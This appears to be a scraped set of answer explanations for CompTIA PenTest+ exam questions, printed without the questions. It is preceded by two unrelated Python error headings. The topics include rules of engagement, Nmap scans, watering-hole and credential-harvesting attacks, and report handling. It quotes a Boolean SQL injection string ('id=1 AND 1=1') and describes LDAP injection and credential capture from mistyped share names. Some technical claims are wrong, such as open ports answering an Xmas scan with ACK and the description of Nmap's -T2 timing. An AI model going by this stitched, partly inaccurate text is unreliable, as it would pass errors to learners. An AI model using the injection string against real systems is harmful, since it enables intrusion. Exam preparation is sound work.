•socket.gaierror: [Errno -2] Name or service not known | Python1

•How do I fix the error socket.gaierror: [Errno -2] Name or service not known on debian/testing?2

The communication escalation path is a component of the Rules of Engagement (ROE) that provides a penetration tester with guidance on whom to contact and how to proceed in the event of an emergency or disaster during an engagement. This includes contact information for key individuals and predefined procedures to follow to ensure that any issues are addressed promptly and appropriately.

The engagement scope defines the boundaries and objectives of the test, the SLA (Service Level Agreement) outlines performance and uptime requirements, and the SOW (Statement of Work) details the tasks and deliverables. However, the communication escalation path specifically addresses communication protocols during emergencies.

References:

Explanation of Rules of Engagement components: OWASP Testing Guide

Examples from penetration testing engagements highlighting the importance of communication plans: Anubis​​.

Snow is a tool designed for steganography, which is the practice of concealing messages or information within other non-secret text or data. In this context, Snow is specifically used to hide data within whitespace of text files, which can include the whitespace areas of images saved in formats that support text descriptions or metadata, such as certain PNG or JPEG files. While the other tools listed (Kismet, Responder, Metasploit) are powerful in their respective areas (network sniffing, LLMNR/NBT-NS poisoning, and exploitation framework), they do not offer functionality related to data concealment in image files or steganography.

After performing a web penetration test, using the OWASP (Open Web Application Security Project) standards or methodologies would be the best choice for ranking the findings by criticality. OWASP is renowned for its comprehensive documentation and guidelines on web application security, including the well-known OWASP Top 10 list, which outlines the ten most critical web application security risks. This makes it an ideal reference for categorizing and prioritizing vulnerabilities discovered during a web penetration test.

While MITRE ATT&CK, PTES (Penetration Testing Execution Standard), and NIST (National Institute of Standards and Technology) provide valuable frameworks and methodologies for cybersecurity, OWASP's focus on web applications specifically makes it the most suitable for this context.

A watering hole attack involves compromising a website that is frequently visited by the target organization or group. By gaining control of the internal web server hosting the IT knowledge base, a penetration tester could modify the content or introduce malicious code that would be downloaded or executed by employees who visit the site. This type of attack is effective because it leverages a trusted resource within the organization to spread malware or capture sensitive information.

Other options like vishing, whaling, and spear phishing involve direct social engineering attacks targeting individuals, whereas a watering hole attack leverages a compromised website to target multiple users within the organization.

References:

Explanation of watering hole attacks: OWASP Watering Hole

Examples from penetration testing engagements where web server compromises were used to conduct watering hole attacks​​​​.

Active scanning is the process of sending probes or packets to a target system or network and analyzing the responses to gather information or identify vulnerabilities. Active scanning can be intrusive and disruptive, especially in an ICS environment, where availability and reliability are critical. Active scanning can cause unintended consequences, such as triggering alarms, shutting down devices, or affecting physical processes. Therefore, active scanning is the most likely to cause harm to an ICS environment among the given options. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 2: Conducting Passive Reconnaissance, page 72-73.

•The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook1, Chapter 2: Conducting Passive Reconnaissance, page 2-20.

•Risk Assessment Standards for ICS Environments2, page 8.

The user-supplied data www.comptia.com/info.php?id=1 AND 1=1 is indicative of a Boolean-based SQL injection attack. In this attack, the attacker manipulates a SQL query by inserting additional SQL logic that will always evaluate to true (in this case, AND 1=1) to gain unauthorized access to database information. This type of attack exploits improper input validation in web applications to manipulate database queries. The other attack techniques listed (Time-based SQL injection, Stored cross-site scripting, Reflected cross-site scripting) involve different methodologies and are not demonstrated by the given user-supplied data.

The vulnerability severity rating element of a penetration testing report provides a normalized and standardized representation of discovered vulnerabilities and their threat levels. It typically involves assigning a numerical or categorical score (such as low, medium, high, critical) to each vulnerability based on factors like exploitability, impact, and the context in which the vulnerability exists. This helps in prioritizing the vulnerabilities for remediation and provides a clear understanding of the risk they pose to the system or network.

Credential harvesting is a type of attack that aims to collect usernames and passwords from unsuspecting users by tricking them into entering their credentials on a fake or spoofed website. Credential harvesting can be done by using phishing emails that lure users to click on malicious links or attachments that redirect them to the fake website. The fake website may look identical or similar to the legitimate one, but it will capture and store the user’s credentials for later use by the attacker. In this case, the penetration tester set up a fake cloud mail login page and sent phishing emails to all company employees to harvest their credentials.

The Nmap command uses the Xmas scan technique, which sends packets with the FIN, PSH, and URG flags set. This is an attempt to bypass firewall rules and elicit a response from open ports. However, if the target responds with an RST packet, it means that the port is closed. Open ports will either ignore the Xmas scan packets or send back an ACK packet. Therefore, the information most likely indicates that all of the ports in the target range are closed. References: [Nmap Scan Types], [Nmap Port Scanning Techniques], [CompTIA PenTest+ Study Guide: Exam PT0-002, Chapter 4: Conducting Passive Reconnaissance, page 127]

In the scenario where users are mistyping the name of a fileshare server, leading to broadcast requests, the most effective exploitation strategy would be for the penetration tester to respond to these requests with their own IP address (D) and set up a service to capture authentication credentials. This technique is known as a "Man-in-the-Middle" (MitM) attack, where the attacker intercepts communication between two parties. In this case, the tester can exploit the misdirected requests to potentially capture sensitive information such as usernames and passwords.

ï‚· Using PGP (Pretty Good Privacy) encryption ensures that the report file is securely encrypted with the client's public key. Only the client can decrypt the file using their private key, ensuring confidentiality during transit.

ï‚· Details:

Option Analysis:

A. Creating a link on a cloud service and delivering it by email: This method is susceptible to interception or unauthorized access.

B. Asking for a PGP public key to encrypt the file: Provides end-to-end encryption ensuring that only the intended recipient can access the file.

C. Requiring FTPS security to download the file: While secure, it does not provide the same level of end-to-end encryption as PGP.

D. Copying the file on a USB drive and delivering it by postal mail: While physically secure, it is not practical and poses a risk of loss or theft.

ï‚· References: PGP encryption is a widely accepted method for securing sensitive data. It is recommended by many cybersecurity standards and best practice guides.

The attacker creates an access point with the same name and network settings as a legitimate access point, but with a stronger signal to attract users. Once a victim connects to the rogue access point, the attacker can intercept and steal any data transmitted over the connection, including login credentials, credit card information, and other sensitive data.

Scout Suite is an open-source multi-cloud security-auditing tool that enables security posture assessment of cloud environments. It is designed to provide a comprehensive and accurate analysis of cloud assets by using the APIs of cloud service providers. Scout Suite supports major cloud platforms, including AWS, Azure, and GCP, making it suitable for performing cloud asset discovery.

Other tools listed, such as Pacu, Shodan, and TruffleHog, serve different purposes. Pacu is a cloud exploitation framework for AWS, Shodan is a search engine for internet-connected devices, and TruffleHog is a tool for searching for secrets in files. While they are valuable tools, Scout Suite is specifically tailored for comprehensive cloud asset discovery.

References:

Scout Suite GitHub page: Scout Suite

Cloud security auditing examples from penetration testing reports and best practices​​​​.

The developers would be the most interested in the steps to reproduce the web application vulnerabilities, because they are responsible for fixing the code and implementing security best practices. The steps to reproduce the vulnerabilities would help them understand the root cause of the problem, test the patches, and prevent similar issues in the future. The other options are less interested in the technical details of the vulnerabilities, as they have different roles and responsibilities. The operations staff are more concerned with the availability and performance of the web application, the third-party stakeholders are more interested in the business impact and risk assessment of the vulnerabilities, and the C-suite executives are more focused on the strategic and financial implications of the vulnerabilities123. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002) eBook, Chapter 1, Lesson 1.4, Topic 1.4.1: Explain the importance of communication during the penetration testing process

•Web Application Penetration Testing: Steps, Methods, and Tools, SecureTriad article

•Web Application Security Testing: A Step-by-Step Guide, Acunetix article

When a penetration tester captures screen images that include hashes from a domain controller, obscuring parts of these images before saving is crucial to maintain the confidentiality of sensitive data. Hashes can be considered sensitive information as they represent a form of digital identity for users within an organization. Revealing these hashes in full could lead to unauthorized access if the hashes were to be cracked or otherwise misused by malicious actors. By partially obscuring the images, the penetration tester ensures that the data remains confidential and reduces the risk of compromising user accounts and the integrity of the organization's security posture.

The -T2 flag in Nmap sets the timing template to “polite”, which means that Nmap will limit the number of parallel probes to 10 and the scan delay to 0.4 seconds. This will reduce the number of connections per minute and avoid triggering the active response tool. The -Pn flag tells Nmap to skip the host discovery phase and scan the target regardless of its ping response. The other options are not suitable for bypassing the active response tool, as they either scan too many ports (-sU, -T5, -F) or use a faster timing template (-T5, -T3) that will generate more connections per minute. References:

•Nmap Cheat Sheet 2024: All the Commands & Flags - StationX

•Nmap Commands - 17 Basic Commands for Linux Network - phoenixNAP

•NMAP Flag Guide: What They Are, When to Use Them - CBT Nuggets

When a penetration tester notices several target hosts appearing to be residential connections associated with a major television and ISP, it's likely that the IP ranges initially assigned to the target organization have changed ownership and are now allocated to the ISP for residential use. This can happen due to reallocation of IP addresses by regional internet registries. Misconfiguration of the scanner (option A), malfunctioning of scanning tools (option B), or firewall blocking (option D) would not typically result in the discovery of residential connections in place of expected organizational targets.

The code sample provided involves LDAP (Lightweight Directory Access Protocol) query syntax, not SQL or command injection syntax. LDAP injections occur when user-supplied inputs are not properly sanitized before being incorporated into LDAP queries. The given code demonstrates a potential LDAP injection point, where an attacker might manipulate the (userid=*) part to execute unauthorized queries or access unauthorized information within the LDAP directory. Boolean and Blind SQL injections, as well as Command injections, do not apply to LDAP query syntax.

Output encoding is a technique that prevents cross-site scripting (XSS) attacks by encoding the user input before displaying it on the web page. This way, any malicious scripts or HTML tags are rendered harmless and cannot execute on the browser. Output encoding is recommended by the OWASP Top 10 as a defense against XSS1. In this case, the vulnerable code is using a scriptlet to display the employee ID without any validation or encoding, which could allow an attacker to inject malicious code through the id parameter. Output encoding would prevent this by escaping any special characters in the id parameter. References: The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook, Chapter 4, Section 4.2.1: Cross-site Scripting; Best PenTest+ certification study resources and training materials, Section 1: Cross-site Scripting (XSS) Attack; OWASP Top 10 2021, A7: Cross-site Scripting (XSS).

The action of shifting the focus of a penetration test to a specific critical network segment based on the findings during the engagement best aligns with B. Reprioritizing the goals/objectives. because as the client is choosing to change the focus of the testing to a particular area based on the findings. It reflects an adjustment of the original plan or goals to better suit the current understanding of the system's security posture.

Kismet is a well-known tool used in penetration testing for wireless network detection, packet sniffing, and intrusion detection. It is particularly useful for gathering information about Wi-Fi networks as it can detect hidden networks and capture network packets. This capability allows penetration testers to analyze the wireless environment, identify potential vulnerabilities, and assess the security posture of the Wi-Fi equipment being tested. Unlike the other tools listed, Kismet is specifically designed for wireless network analysis, making it the ideal choice for this task.

The Rules of Engagement (RoE) document is crucial when there's a dispute or issue with accepting a penetration test report. The RoE outlines the scope, methods, timing, legal considerations, and objectives of a penetration test. It serves as a guideline for both the client and the testing team on what is expected and permissible during the assessment. If there are issues with the report, referring back to the agreed-upon RoE can clarify whether the test was conducted within the agreed parameters and help resolve any disputes.

The signed authorization letter, statement of work, and non-disclosure agreement are also important documents but are more related to the permission, scope of work, and confidentiality aspects of the engagement, respectively, rather than the specifics of how the test was to be conducted, which is what the RoE covers.

The script is performing a port scan on the network 192.168.0.0/24, by testing the connectivity of three ports (80, 110, 25) on each IP address in the range 1-254. A port scan is a technique used to identify open ports and services on a target host or network. It can be used for reconnaissance, vulnerability assessment, or penetration testing. References:

•The Official CompTIA PenTest+ Instructor Guide (Exam PT0-002) eBook, Chapter 3, Lesson 3.2, Topic 3.2.2: Perform a port scan

•PowerShell TCP port scanner, Stack Overflow answer by postanote

•PowerShell Basics: How to Scan Open Ports Within a Network, Tech Community blog by Anthony Bartolo

Before beginning a penetration test, it is crucial to determine any restrictions related to third-party assets. This is particularly important when the client’s systems are hosted by a third-party cloud provider. The penetration tester needs to know what limitations or restrictions are imposed by the third-party hosting company to avoid violating terms of service, causing unintended disruptions, or legal issues.

Understanding third-party asset restrictions ensures that the testing activities comply with legal and contractual obligations and avoid potential conflicts with the third-party provider.

References:

Penetration testing considerations: OWASP Testing Guide

Experiences from various penetration testing engagements highlighting the importance of third-party restrictions: Anubis​​.

The output of the Nmap command shows that the remote host supports RC4 ciphers, which are considered weak and vulnerable to several attacks, such as the BEAST and the RC4 NOMORE attacks. RC4 ciphers should not be used in modern TLS implementations, and they are not supported by TLS 1.3. Therefore, the penetration tester should include this finding in the report and recommend disabling RC4 ciphers on the server. References:

•The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 5: Attacks and Exploits, page 259.

•Nmap ssl-enum-ciphers NSE Script - InfosecMatter1

•How do I list the SSL/TLS cipher suites a particular website offers?

DirBuster is a tool that can brute-force directories and filenames on web servers. It can help a penetration tester locate a file that was uploaded to a content management system by trying different combinations of paths and names until it finds a match. DirBuster can also use wordlists to speed up the process and discover hidden files or directories. References: The Official CompTIA PenTest+ Instructor Guide (Exam PT0-002) eBook, page 156

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

Enforcing mandatory employee vacations is the best recommendation to prevent this type of activity in the future, as it will make it harder for an employee to conceal fraudulent transactions or unauthorized changes to a payment system. Mandatory employee vacations are a form of internal control that requires employees to take time off from work periodically and have their duties performed by someone else. This can help detect errors, irregularities, or frauds committed by employees who might otherwise have exclusive access or control over certain processes or systems.